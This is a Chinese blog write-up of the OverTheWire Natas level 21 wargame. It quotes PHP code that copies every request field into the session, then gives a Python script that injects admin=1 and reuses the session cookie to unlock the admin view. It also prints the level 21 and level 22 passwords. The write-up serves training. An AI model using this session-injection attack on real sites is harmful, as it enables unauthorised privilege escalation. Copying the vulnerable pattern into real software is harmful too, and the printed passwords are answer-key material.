Overthewire-natas21

Posted wudiiv11

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Overthewire-natas21相关的知识,希望对你有一定的参考价值。

Overthewire level 21 to level 22

进入页面我们看到说首页和另外一个页面关联,并且首页的代码也很简单,就只有一个打印函数,那么这题显然是让我们从它关联的页面获得第21关admin的cookie了。
进入21关后直接看源代码

<?
session_start();

// if update was submitted, store it
if(array_key_exists("submit", $_REQUEST)) {
    foreach($_REQUEST as $key => $val) {
        $_SESSION[$key] = $val;
    }
}

if(array_key_exists("debug", $_GET)) {
    print "[DEBUG] Session contents:<br>";
    print_r($_SESSION);
}

// only allow these keys
$validkeys = array("align" => "center", "fontsize" => "100%", "bgcolor" => "yellow");
$form = "";

$form .= \'<form action="index.php" method="POST">\';
foreach($validkeys as $key => $defval) {
    $val = $defval;
    if(array_key_exists($key, $_SESSION)) {
        $val = $_SESSION[$key];
    } else {
        $_SESSION[$key] = $val;
    }
    $form .= "$key: <input name=\'$key\' value=\'$val\' /><br>";
}
$form .= \'<input type="submit" name="submit" value="Update" />\';
$form .= \'</form>\';

$style = "background-color: ".$_SESSION["bgcolor"]."; text-align: ".$_SESSION["align"]."; font-size: ".$_SESSION["fontsize"].";";
$example = "<div style=\'$style\'>Hello world!</div>";
?>

代码相当简单,并且有漏洞的代码也丝毫不加掩饰。

if(array_key_exists("submit", $_REQUEST)) {
    foreach($_REQUEST as $key => $val) {
        $_SESSION[$key] = $val;
    }
}

直接把提交的表带内每一项设置到session里去,这里我们只需要加一个admin=1即可。破解代码如下

import requests

auth = (\'natas21\', \'IFekPyrQXftziDEsUr3x21sYuahypdgJ\')

resp = requests.post(\'http://natas21-experimenter.natas.labs.overthewire.org/index.php\',
                     auth=auth,
                     data={
                         \'align\': \'center\',
                         \'fontsize\': \'100%\',
                         \'bgcolor\': \'yellow\',
                         \'submit\': \'Update\',
                         \'admin\': \'1\'
                     })
sid = resp.cookies[\'PHPSESSID\']
resp = requests.get(\'http://natas21.natas.labs.overthewire.org/\',
                    auth=auth,
                    cookies={\'PHPSESSID\': sid})
print(resp.text)

第22关密码为chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ

以上是关于Overthewire-natas21的主要内容,如果未能解决你的问题,请参考以下文章

Overthewire-natas22

Overthewire-natas27

Overthewire-natas26

21个常用代码片段

14.VisualVM使用详解15.VisualVM堆查看器使用的内存不足19.class文件--文件结构--魔数20.文件结构--常量池21.文件结构访问标志(2个字节)22.类加载机制概(代码片段

片段中的 Asynctask 未到达 onPostExecute